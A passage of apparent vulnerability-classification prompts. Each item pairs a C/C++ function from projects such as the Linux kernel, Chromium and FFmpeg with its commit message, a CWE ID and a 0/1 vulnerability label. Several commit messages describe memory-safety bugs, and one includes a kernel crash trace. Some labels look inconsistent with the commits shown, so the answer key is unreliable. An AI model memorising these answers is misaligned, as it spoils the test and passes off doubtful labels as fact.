jsvIteratorNext(&it);
}
jsvIteratorFree(&it);
if (!first)
for (i=0;i<indent;i++) jsiConsolePrint(" ");
}
jsiConsolePrintf("%c", endBracket);
#endif
}
Commit Message: Add sanity check for debug trace print statement (fix #1420)
CWE ID: CWE-476
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PushMessagingServiceImpl::PushMessagingServiceImpl(Profile* profile)
: profile_(profile),
push_subscription_count_(0),
pending_push_subscription_count_(0),
notification_manager_(profile),
push_messaging_service_observer_(PushMessagingServiceObserver::Create()),
weak_factory_(this) {
DCHECK(profile);
HostContentSettingsMapFactory::GetForProfile(profile_)->AddObserver(this);
registrar_.Add(this, chrome::NOTIFICATION_APP_TERMINATING,
content::NotificationService::AllSources());
}
Commit Message: Remove some senseless indirection from the Push API code
Four files to call one Java function. Let's just call it directly.
BUG=
Change-Id: I6e988e9a000051dd7e3dd2b517a33a09afc2fff6
Reviewed-on: https://chromium-review.googlesource.com/749147
Reviewed-by: Anita Woodruff <[email protected]>
Commit-Queue: Peter Beverloo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#513464}
CWE ID: CWE-119
Target: 1
Example 2:
Code: INIT_FUNC(mod_alias_init) {
plugin_data *p;
p = calloc(1, sizeof(*p));
return p;
}
Commit Message: [mod_alias] security: potential path traversal with specific configs
Security: potential path traversal of a single directory above the alias
target with a specific mod_alias config where the alias which is matched
does not end in '/', but alias target filesystem path does end in '/'.
e.g. server.docroot = "/srv/www/host/HOSTNAME/docroot"
alias.url = ( "/img" => "/srv/www/hosts/HOSTNAME/images/" )
If a malicious URL "/img../" were passed, the request would be
for directory "/srv/www/hosts/HOSTNAME/images/../" which would resolve
to "/srv/www/hosts/HOSTNAME/". If mod_dirlisting were enabled, which
is not the default, this would result in listing the contents of the
directory above the alias. An attacker might also try to directly
access files anywhere under that path, which is one level above the
intended aliased path.
credit: Orange Tsai(@orange_8361) from DEVCORE
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: long kvm_arch_dev_ioctl(struct file *filp,
unsigned int ioctl, unsigned long arg)
{
void __user *argp = (void __user *)arg;
long r;
switch (ioctl) {
case KVM_GET_MSR_INDEX_LIST: {
struct kvm_msr_list __user *user_msr_list = argp;
struct kvm_msr_list msr_list;
unsigned n;
r = -EFAULT;
if (copy_from_user(&msr_list, user_msr_list, sizeof msr_list))
goto out;
n = msr_list.nmsrs;
msr_list.nmsrs = num_msrs_to_save + ARRAY_SIZE(emulated_msrs);
if (copy_to_user(user_msr_list, &msr_list, sizeof msr_list))
goto out;
r = -E2BIG;
if (n < msr_list.nmsrs)
goto out;
r = -EFAULT;
if (copy_to_user(user_msr_list->indices, &msrs_to_save,
num_msrs_to_save * sizeof(u32)))
goto out;
if (copy_to_user(user_msr_list->indices + num_msrs_to_save,
&emulated_msrs,
ARRAY_SIZE(emulated_msrs) * sizeof(u32)))
goto out;
r = 0;
break;
}
case KVM_GET_SUPPORTED_CPUID: {
struct kvm_cpuid2 __user *cpuid_arg = argp;
struct kvm_cpuid2 cpuid;
r = -EFAULT;
if (copy_from_user(&cpuid, cpuid_arg, sizeof cpuid))
goto out;
r = kvm_dev_ioctl_get_supported_cpuid(&cpuid,
cpuid_arg->entries);
if (r)
goto out;
r = -EFAULT;
if (copy_to_user(cpuid_arg, &cpuid, sizeof cpuid))
goto out;
r = 0;
break;
}
case KVM_X86_GET_MCE_CAP_SUPPORTED: {
u64 mce_cap;
mce_cap = KVM_MCE_CAP_SUPPORTED;
r = -EFAULT;
if (copy_to_user(argp, &mce_cap, sizeof mce_cap))
goto out;
r = 0;
break;
}
default:
r = -EINVAL;
}
out:
return r;
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <[email protected]>
Signed-off-by: Avi Kivity <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-399
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int filter_frame(AVFilterLink *inlink, AVFrame *in)
{
AVFilterContext *ctx = inlink->dst;
LutContext *s = ctx->priv;
AVFilterLink *outlink = ctx->outputs[0];
AVFrame *out;
uint8_t *inrow, *outrow, *inrow0, *outrow0;
int i, j, plane, direct = 0;
if (av_frame_is_writable(in)) {
direct = 1;
out = in;
} else {
out = ff_get_video_buffer(outlink, outlink->w, outlink->h);
if (!out) {
av_frame_free(&in);
return AVERROR(ENOMEM);
}
av_frame_copy_props(out, in);
}
if (s->is_rgb) {
/* packed */
inrow0 = in ->data[0];
outrow0 = out->data[0];
for (i = 0; i < in->height; i ++) {
int w = inlink->w;
const uint8_t (*tab)[256] = (const uint8_t (*)[256])s->lut;
inrow = inrow0;
outrow = outrow0;
for (j = 0; j < w; j++) {
switch (s->step) {
case 4: outrow[3] = tab[3][inrow[3]]; // Fall-through
case 3: outrow[2] = tab[2][inrow[2]]; // Fall-through
case 2: outrow[1] = tab[1][inrow[1]]; // Fall-through
default: outrow[0] = tab[0][inrow[0]];
}
outrow += s->step;
inrow += s->step;
}
inrow0 += in ->linesize[0];
outrow0 += out->linesize[0];
}
} else {
/* planar */
for (plane = 0; plane < 4 && in->data[plane]; plane++) {
int vsub = plane == 1 || plane == 2 ? s->vsub : 0;
int hsub = plane == 1 || plane == 2 ? s->hsub : 0;
int h = FF_CEIL_RSHIFT(inlink->h, vsub);
int w = FF_CEIL_RSHIFT(inlink->w, hsub);
inrow = in ->data[plane];
outrow = out->data[plane];
for (i = 0; i < h; i++) {
const uint8_t *tab = s->lut[plane];
for (j = 0; j < w; j++)
outrow[j] = tab[inrow[j]];
inrow += in ->linesize[plane];
outrow += out->linesize[plane];
}
}
}
if (!direct)
av_frame_free(&in);
return ff_filter_frame(outlink, out);
}
Commit Message: avfilter: fix plane validity checks
Fixes out of array accesses
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-119
Target: 1
Example 2:
Code: rd_contents_init(struct archive_read *a, enum enctype encoding,
int a_sum_alg, int e_sum_alg)
{
int r;
/* Init decompress library. */
if ((r = decompression_init(a, encoding)) != ARCHIVE_OK)
return (r);
/* Init checksum library. */
checksum_init(a, a_sum_alg, e_sum_alg);
return (ARCHIVE_OK);
}
Commit Message: Do something sensible for empty strings to make fuzzers happy.
CWE ID: CWE-125
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: StatusBubble* Browser::GetStatusBubble() {
#if !defined(OS_MACOSX)
if (CommandLine::ForCurrentProcess()->HasSwitch(switches::kKioskMode))
return NULL;
#endif
return window_ ? window_->GetStatusBubble() : NULL;
}
Commit Message: Implement a bubble that appears at the top of the screen when a tab enters
fullscreen mode via webkitRequestFullScreen(), telling the user how to exit
fullscreen.
This is implemented as an NSView rather than an NSWindow because the floating
chrome that appears in presentation mode should overlap the bubble.
Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac:
the mode in which the UI is hidden, accessible by moving the cursor to the top
of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode.
On Lion, however, fullscreen mode does not imply presentation mode: in
non-presentation fullscreen mode, the chrome is permanently shown. It is
possible to switch between presentation mode and fullscreen mode using the
presentation mode UI control.
When a tab initiates fullscreen mode on Lion, we enter presentation mode if not
in presentation mode already. When the user exits fullscreen mode using Chrome
UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we
return the user to the mode they were in before the tab entered fullscreen.
BUG=14471
TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen.
Need to test the Lion logic somehow, with no Lion trybots.
BUG=96883
Original review http://codereview.chromium.org/7890056/
TBR=thakis
Review URL: http://codereview.chromium.org/7920024
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static void esp_do_dma(ESPState *s)
{
uint32_t len;
int to_device;
len = s->dma_left;
if (s->do_cmd) {
trace_esp_do_dma(s->cmdlen, len);
s->dma_memory_read(s->dma_opaque, &s->cmdbuf[s->cmdlen], len);
return;
}
return;
}
Commit Message:
CWE ID: CWE-787
Target: 1
Example 2:
Code: void WebRuntimeFeatures::EnableWebGLDraftExtensions(bool enable) {
RuntimeEnabledFeatures::SetWebGLDraftExtensionsEnabled(enable);
}
Commit Message: Remove RequireCSSExtensionForFile runtime enabled flag.
The feature has long since been stable (since M64) and doesn't seem
to be a need for this flag.
BUG=788936
Change-Id: I666390b869289c328acb4a2daa5bf4154e1702c0
Reviewed-on: https://chromium-review.googlesource.com/c/1324143
Reviewed-by: Mike West <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Commit-Queue: Dave Tapuska <[email protected]>
Cr-Commit-Position: refs/heads/master@{#607329}
CWE ID: CWE-254
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int ghash_final(struct shash_desc *desc, u8 *dst)
{
struct ghash_desc_ctx *dctx = shash_desc_ctx(desc);
struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm);
u8 *buf = dctx->buffer;
ghash_flush(ctx, dctx);
memcpy(dst, buf, GHASH_BLOCK_SIZE);
return 0;
}
Commit Message: crypto: ghash - Avoid null pointer dereference if no key is set
The ghash_update function passes a pointer to gf128mul_4k_lle which will
be NULL if ghash_setkey is not called or if the most recent call to
ghash_setkey failed to allocate memory. This causes an oops. Fix this
up by returning an error code in the null case.
This is trivially triggered from unprivileged userspace through the
AF_ALG interface by simply writing to the socket without setting a key.
The ghash_final function has a similar issue, but triggering it requires
a memory allocation failure in ghash_setkey _after_ at least one
successful call to ghash_update.
BUG: unable to handle kernel NULL pointer dereference at 00000670
IP: [<d88c92d4>] gf128mul_4k_lle+0x23/0x60 [gf128mul]
*pde = 00000000
Oops: 0000 [#1] PREEMPT SMP
Modules linked in: ghash_generic gf128mul algif_hash af_alg nfs lockd nfs_acl sunrpc bridge ipv6 stp llc
Pid: 1502, comm: hashatron Tainted: G W 3.1.0-rc9-00085-ge9308cf #32 Bochs Bochs
EIP: 0060:[<d88c92d4>] EFLAGS: 00000202 CPU: 0
EIP is at gf128mul_4k_lle+0x23/0x60 [gf128mul]
EAX: d69db1f0 EBX: d6b8ddac ECX: 00000004 EDX: 00000000
ESI: 00000670 EDI: d6b8ddac EBP: d6b8ddc8 ESP: d6b8dda4
DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process hashatron (pid: 1502, ti=d6b8c000 task=d6810000 task.ti=d6b8c000)
Stack:
00000000 d69db1f0 00000163 00000000 d6b8ddc8 c101a520 d69db1f0 d52aa000
00000ff0 d6b8dde8 d88d310f d6b8a3f8 d52aa000 00001000 d88d502c d6b8ddfc
00001000 d6b8ddf4 c11676ed d69db1e8 d6b8de24 c11679ad d52aa000 00000000
Call Trace:
[<c101a520>] ? kmap_atomic_prot+0x37/0xa6
[<d88d310f>] ghash_update+0x85/0xbe [ghash_generic]
[<c11676ed>] crypto_shash_update+0x18/0x1b
[<c11679ad>] shash_ahash_update+0x22/0x36
[<c11679cc>] shash_async_update+0xb/0xd
[<d88ce0ba>] hash_sendpage+0xba/0xf2 [algif_hash]
[<c121b24c>] kernel_sendpage+0x39/0x4e
[<d88ce000>] ? 0xd88cdfff
[<c121b298>] sock_sendpage+0x37/0x3e
[<c121b261>] ? kernel_sendpage+0x4e/0x4e
[<c10b4dbc>] pipe_to_sendpage+0x56/0x61
[<c10b4e1f>] splice_from_pipe_feed+0x58/0xcd
[<c10b4d66>] ? splice_from_pipe_begin+0x10/0x10
[<c10b51f5>] __splice_from_pipe+0x36/0x55
[<c10b4d66>] ? splice_from_pipe_begin+0x10/0x10
[<c10b6383>] splice_from_pipe+0x51/0x64
[<c10b63c2>] ? default_file_splice_write+0x2c/0x2c
[<c10b63d5>] generic_splice_sendpage+0x13/0x15
[<c10b4d66>] ? splice_from_pipe_begin+0x10/0x10
[<c10b527f>] do_splice_from+0x5d/0x67
[<c10b6865>] sys_splice+0x2bf/0x363
[<c129373b>] ? sysenter_exit+0xf/0x16
[<c104dc1e>] ? trace_hardirqs_on_caller+0x10e/0x13f
[<c129370c>] sysenter_do_call+0x12/0x32
Code: 83 c4 0c 5b 5e 5f c9 c3 55 b9 04 00 00 00 89 e5 57 8d 7d e4 56 53 8d 5d e4 83 ec 18 89 45 e0 89 55 dc 0f b6 70 0f c1 e6 04 01 d6 <f3> a5 be 0f 00 00 00 4e 89 d8 e8 48 ff ff ff 8b 45 e0 89 da 0f
EIP: [<d88c92d4>] gf128mul_4k_lle+0x23/0x60 [gf128mul] SS:ESP 0068:d6b8dda4
CR2: 0000000000000670
---[ end trace 4eaa2a86a8e2da24 ]---
note: hashatron[1502] exited with preempt_count 1
BUG: scheduling while atomic: hashatron/1502/0x10000002
INFO: lockdep is turned off.
[...]
Signed-off-by: Nick Bowler <[email protected]>
Cc: [email protected] [2.6.37+]
Signed-off-by: Herbert Xu <[email protected]>
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: v8::Handle<v8::Value> V8Intent::constructorCallback(const v8::Arguments& args)
{
INC_STATS("DOM.Intent.Constructor");
if (!args.IsConstructCall())
return V8Proxy::throwTypeError("DOM object constructor cannot be called as a function.");
if (ConstructorMode::current() == ConstructorMode::WrapExistingObject)
return args.Holder();
if (args.Length() < 1)
return V8Proxy::throwNotEnoughArgumentsError();
if (args.Length() == 1) {
EXCEPTION_BLOCK(Dictionary, options, args[0]);
ExceptionCode ec = 0;
RefPtr<Intent> impl = Intent::create(ScriptState::current(), options, ec);
if (ec)
return throwError(ec, args.GetIsolate());
v8::Handle<v8::Object> wrapper = args.Holder();
V8DOMWrapper::setDOMWrapper(wrapper, &info, impl.get());
V8DOMWrapper::setJSWrapperForDOMObject(impl.release(), v8::Persistent<v8::Object>::New(wrapper));
return wrapper;
}
ExceptionCode ec = 0;
STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, action, MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined));
STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, type, MAYBE_MISSING_PARAMETER(args, 1, DefaultIsUndefined));
MessagePortArray messagePortArrayTransferList;
ArrayBufferArray arrayBufferArrayTransferList;
if (args.Length() > 3) {
if (!extractTransferables(args[3], messagePortArrayTransferList, arrayBufferArrayTransferList))
return V8Proxy::throwTypeError("Could not extract transferables");
}
bool dataDidThrow = false;
RefPtr<SerializedScriptValue> data = SerializedScriptValue::create(args[2], &messagePortArrayTransferList, &arrayBufferArrayTransferList, dataDidThrow);
if (dataDidThrow)
return throwError(DATA_CLONE_ERR, args.GetIsolate());
RefPtr<Intent> impl = Intent::create(action, type, data, messagePortArrayTransferList, ec);
if (ec)
return throwError(ec, args.GetIsolate());
v8::Handle<v8::Object> wrapper = args.Holder();
V8DOMWrapper::setDOMWrapper(wrapper, &info, impl.get());
V8DOMWrapper::setJSWrapperForDOMObject(impl.release(), v8::Persistent<v8::Object>::New(wrapper));
return wrapper;
}
Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=86983
Reviewed by Adam Barth.
The objective is to pass Isolate around in V8 bindings.
This patch passes Isolate to throwNotEnoughArgumentsError().
No tests. No change in behavior.
* bindings/scripts/CodeGeneratorV8.pm:
(GenerateArgumentsCountCheck):
(GenerateEventConstructorCallback):
* bindings/scripts/test/V8/V8Float64Array.cpp:
(WebCore::Float64ArrayV8Internal::fooCallback):
* bindings/scripts/test/V8/V8TestActiveDOMObject.cpp:
(WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback):
(WebCore::TestActiveDOMObjectV8Internal::postMessageCallback):
* bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp:
(WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback):
* bindings/scripts/test/V8/V8TestEventConstructor.cpp:
(WebCore::V8TestEventConstructor::constructorCallback):
* bindings/scripts/test/V8/V8TestEventTarget.cpp:
(WebCore::TestEventTargetV8Internal::itemCallback):
(WebCore::TestEventTargetV8Internal::dispatchEventCallback):
* bindings/scripts/test/V8/V8TestInterface.cpp:
(WebCore::TestInterfaceV8Internal::supplementalMethod2Callback):
(WebCore::V8TestInterface::constructorCallback):
* bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp:
(WebCore::TestMediaQueryListListenerV8Internal::methodCallback):
* bindings/scripts/test/V8/V8TestNamedConstructor.cpp:
(WebCore::V8TestNamedConstructorConstructorCallback):
* bindings/scripts/test/V8/V8TestObj.cpp:
(WebCore::TestObjV8Internal::voidMethodWithArgsCallback):
(WebCore::TestObjV8Internal::intMethodWithArgsCallback):
(WebCore::TestObjV8Internal::objMethodWithArgsCallback):
(WebCore::TestObjV8Internal::methodWithSequenceArgCallback):
(WebCore::TestObjV8Internal::methodReturningSequenceCallback):
(WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback):
(WebCore::TestObjV8Internal::serializedValueCallback):
(WebCore::TestObjV8Internal::idbKeyCallback):
(WebCore::TestObjV8Internal::optionsObjectCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback):
(WebCore::TestObjV8Internal::methodWithCallbackArgCallback):
(WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback):
(WebCore::TestObjV8Internal::overloadedMethod1Callback):
(WebCore::TestObjV8Internal::overloadedMethod2Callback):
(WebCore::TestObjV8Internal::overloadedMethod3Callback):
(WebCore::TestObjV8Internal::overloadedMethod4Callback):
(WebCore::TestObjV8Internal::overloadedMethod5Callback):
(WebCore::TestObjV8Internal::overloadedMethod6Callback):
(WebCore::TestObjV8Internal::overloadedMethod7Callback):
(WebCore::TestObjV8Internal::overloadedMethod11Callback):
(WebCore::TestObjV8Internal::overloadedMethod12Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback):
(WebCore::TestObjV8Internal::convert1Callback):
(WebCore::TestObjV8Internal::convert2Callback):
(WebCore::TestObjV8Internal::convert3Callback):
(WebCore::TestObjV8Internal::convert4Callback):
(WebCore::TestObjV8Internal::convert5Callback):
(WebCore::TestObjV8Internal::strictFunctionCallback):
(WebCore::V8TestObj::constructorCallback):
* bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp:
(WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback):
(WebCore::V8TestSerializedScriptValueInterface::constructorCallback):
* bindings/v8/ScriptController.cpp:
(WebCore::setValueAndClosePopupCallback):
* bindings/v8/V8Proxy.cpp:
(WebCore::V8Proxy::throwNotEnoughArgumentsError):
* bindings/v8/V8Proxy.h:
(V8Proxy):
* bindings/v8/custom/V8AudioContextCustom.cpp:
(WebCore::V8AudioContext::constructorCallback):
* bindings/v8/custom/V8DataViewCustom.cpp:
(WebCore::V8DataView::getInt8Callback):
(WebCore::V8DataView::getUint8Callback):
(WebCore::V8DataView::setInt8Callback):
(WebCore::V8DataView::setUint8Callback):
* bindings/v8/custom/V8DirectoryEntryCustom.cpp:
(WebCore::V8DirectoryEntry::getDirectoryCallback):
(WebCore::V8DirectoryEntry::getFileCallback):
* bindings/v8/custom/V8IntentConstructor.cpp:
(WebCore::V8Intent::constructorCallback):
* bindings/v8/custom/V8SVGLengthCustom.cpp:
(WebCore::V8SVGLength::convertToSpecifiedUnitsCallback):
* bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
(WebCore::getObjectParameter):
(WebCore::V8WebGLRenderingContext::getAttachedShadersCallback):
(WebCore::V8WebGLRenderingContext::getExtensionCallback):
(WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback):
(WebCore::V8WebGLRenderingContext::getParameterCallback):
(WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
(WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
(WebCore::V8WebGLRenderingContext::getUniformCallback):
(WebCore::vertexAttribAndUniformHelperf):
(WebCore::uniformHelperi):
(WebCore::uniformMatrixHelper):
* bindings/v8/custom/V8WebKitMutationObserverCustom.cpp:
(WebCore::V8WebKitMutationObserver::constructorCallback):
(WebCore::V8WebKitMutationObserver::observeCallback):
* bindings/v8/custom/V8WebSocketCustom.cpp:
(WebCore::V8WebSocket::constructorCallback):
(WebCore::V8WebSocket::sendCallback):
* bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
(WebCore::V8XMLHttpRequest::openCallback):
git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
Target: 1
Example 2:
Code: int reset_terminal_fd(int fd, bool switch_to_text) {
struct termios termios;
int r = 0;
/* Set terminal to some sane defaults */
assert(fd >= 0);
/* We leave locked terminal attributes untouched, so that
* Plymouth may set whatever it wants to set, and we don't
* interfere with that. */
/* Disable exclusive mode, just in case */
ioctl(fd, TIOCNXCL);
/* Switch to text mode */
if (switch_to_text)
ioctl(fd, KDSETMODE, KD_TEXT);
/* Enable console unicode mode */
ioctl(fd, KDSKBMODE, K_UNICODE);
if (tcgetattr(fd, &termios) < 0) {
r = -errno;
goto finish;
}
/* We only reset the stuff that matters to the software. How
* hardware is set up we don't touch assuming that somebody
* else will do that for us */
termios.c_iflag &= ~(IGNBRK | BRKINT | ISTRIP | INLCR | IGNCR | IUCLC);
termios.c_iflag |= ICRNL | IMAXBEL | IUTF8;
termios.c_oflag |= ONLCR;
termios.c_cflag |= CREAD;
termios.c_lflag = ISIG | ICANON | IEXTEN | ECHO | ECHOE | ECHOK | ECHOCTL | ECHOPRT | ECHOKE;
termios.c_cc[VINTR] = 03; /* ^C */
termios.c_cc[VQUIT] = 034; /* ^\ */
termios.c_cc[VERASE] = 0177;
termios.c_cc[VKILL] = 025; /* ^X */
termios.c_cc[VEOF] = 04; /* ^D */
termios.c_cc[VSTART] = 021; /* ^Q */
termios.c_cc[VSTOP] = 023; /* ^S */
termios.c_cc[VSUSP] = 032; /* ^Z */
termios.c_cc[VLNEXT] = 026; /* ^V */
termios.c_cc[VWERASE] = 027; /* ^W */
termios.c_cc[VREPRINT] = 022; /* ^R */
termios.c_cc[VEOL] = 0;
termios.c_cc[VEOL2] = 0;
termios.c_cc[VTIME] = 0;
termios.c_cc[VMIN] = 1;
if (tcsetattr(fd, TCSANOW, &termios) < 0)
r = -errno;
finish:
/* Just in case, flush all crap out */
tcflush(fd, TCIOFLUSH);
return r;
}
Commit Message:
CWE ID: CWE-362
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: base::WaitableEvent* ProxyChannelDelegate::GetShutdownEvent() {
return &shutdown_event_;
}
Commit Message: Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
[email protected]
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int hugetlb_get_quota(struct address_space *mapping, long delta)
{
int ret = 0;
struct hugetlbfs_sb_info *sbinfo = HUGETLBFS_SB(mapping->host->i_sb);
if (sbinfo->free_blocks > -1) {
spin_lock(&sbinfo->stat_lock);
if (sbinfo->free_blocks - delta >= 0)
sbinfo->free_blocks -= delta;
else
ret = -ENOMEM;
spin_unlock(&sbinfo->stat_lock);
}
return ret;
}
Commit Message: hugepages: fix use after free bug in "quota" handling
hugetlbfs_{get,put}_quota() are badly named. They don't interact with the
general quota handling code, and they don't much resemble its behaviour.
Rather than being about maintaining limits on on-disk block usage by
particular users, they are instead about maintaining limits on in-memory
page usage (including anonymous MAP_PRIVATE copied-on-write pages)
associated with a particular hugetlbfs filesystem instance.
Worse, they work by having callbacks to the hugetlbfs filesystem code from
the low-level page handling code, in particular from free_huge_page().
This is a layering violation of itself, but more importantly, if the
kernel does a get_user_pages() on hugepages (which can happen from KVM
amongst others), then the free_huge_page() can be delayed until after the
associated inode has already been freed. If an unmount occurs at the
wrong time, even the hugetlbfs superblock where the "quota" limits are
stored may have been freed.
Andrew Barry proposed a patch to fix this by having hugepages, instead of
storing a pointer to their address_space and reaching the superblock from
there, had the hugepages store pointers directly to the superblock,
bumping the reference count as appropriate to avoid it being freed.
Andrew Morton rejected that version, however, on the grounds that it made
the existing layering violation worse.
This is a reworked version of Andrew's patch, which removes the extra, and
some of the existing, layering violation. It works by introducing the
concept of a hugepage "subpool" at the lower hugepage mm layer - that is a
finite logical pool of hugepages to allocate from. hugetlbfs now creates
a subpool for each filesystem instance with a page limit set, and a
pointer to the subpool gets added to each allocated hugepage, instead of
the address_space pointer used now. The subpool has its own lifetime and
is only freed once all pages in it _and_ all other references to it (i.e.
superblocks) are gone.
subpools are optional - a NULL subpool pointer is taken by the code to
mean that no subpool limits are in effect.
Previous discussion of this bug found in: "Fix refcounting in hugetlbfs
quota handling.". See: https://lkml.org/lkml/2011/8/11/28 or
http://marc.info/?l=linux-mm&m=126928970510627&w=1
v2: Fixed a bug spotted by Hillf Danton, and removed the extra parameter to
alloc_huge_page() - since it already takes the vma, it is not necessary.
Signed-off-by: Andrew Barry <[email protected]>
Signed-off-by: David Gibson <[email protected]>
Cc: Hugh Dickins <[email protected]>
Cc: Mel Gorman <[email protected]>
Cc: Minchan Kim <[email protected]>
Cc: Hillf Danton <[email protected]>
Cc: Paul Mackerras <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-399
Target: 1
Example 2:
Code: HRESULT CGaiaCredentialBase::OnDllRegisterServer() {
OSUserManager* manager = OSUserManager::Get();
auto policy = ScopedLsaPolicy::Create(POLICY_ALL_ACCESS);
if (!policy) {
HRESULT hr = HRESULT_FROM_WIN32(::GetLastError());
LOGFN(ERROR) << "ScopedLsaPolicy::Create hr=" << putHR(hr);
return hr;
}
PSID sid = nullptr;
wchar_t gaia_username[kWindowsUsernameBufferLength];
HRESULT hr = policy->RetrievePrivateData(kLsaKeyGaiaUsername, gaia_username,
base::size(gaia_username));
if (SUCCEEDED(hr)) {
LOGFN(INFO) << "Expecting gaia user '" << gaia_username << "' to exist.";
wchar_t password[32];
HRESULT hr = policy->RetrievePrivateData(kLsaKeyGaiaPassword, password,
base::size(password));
if (SUCCEEDED(hr)) {
base::string16 local_domain = OSUserManager::GetLocalDomain();
base::win::ScopedHandle token;
hr = OSUserManager::Get()->CreateLogonToken(
local_domain.c_str(), gaia_username, password,
/*interactive=*/false, &token);
if (SUCCEEDED(hr)) {
hr = OSUserManager::Get()->GetUserSID(local_domain.c_str(),
gaia_username, &sid);
if (FAILED(hr)) {
LOGFN(ERROR) << "GetUserSID(sid from existing user '" << gaia_username
<< "') hr=" << putHR(hr);
sid = nullptr;
}
}
}
}
if (sid == nullptr) {
errno_t err = wcscpy_s(gaia_username, base::size(gaia_username),
kDefaultGaiaAccountName);
if (err != 0) {
LOGFN(ERROR) << "wcscpy_s errno=" << err;
return E_FAIL;
}
wchar_t password[32];
HRESULT hr =
manager->GenerateRandomPassword(password, base::size(password));
if (FAILED(hr)) {
LOGFN(ERROR) << "GenerateRandomPassword hr=" << putHR(hr);
return hr;
}
CComBSTR sid_string;
CComBSTR gaia_username;
hr =
CreateNewUser(manager, kDefaultGaiaAccountName, password,
GetStringResource(IDS_GAIA_ACCOUNT_FULLNAME_BASE).c_str(),
GetStringResource(IDS_GAIA_ACCOUNT_COMMENT_BASE).c_str(),
/*add_to_users_group=*/false, kMaxUsernameAttempts,
&gaia_username, &sid_string);
if (FAILED(hr)) {
LOGFN(ERROR) << "CreateNewUser hr=" << putHR(hr);
return hr;
}
if (!::ConvertStringSidToSid(sid_string, &sid)) {
hr = HRESULT_FROM_WIN32(::GetLastError());
LOGFN(ERROR) << "ConvertStringSidToSid hr=" << putHR(hr);
return hr;
}
hr = policy->StorePrivateData(kLsaKeyGaiaPassword, password);
if (FAILED(hr)) {
LOGFN(ERROR) << "Failed to store gaia user password in LSA hr="
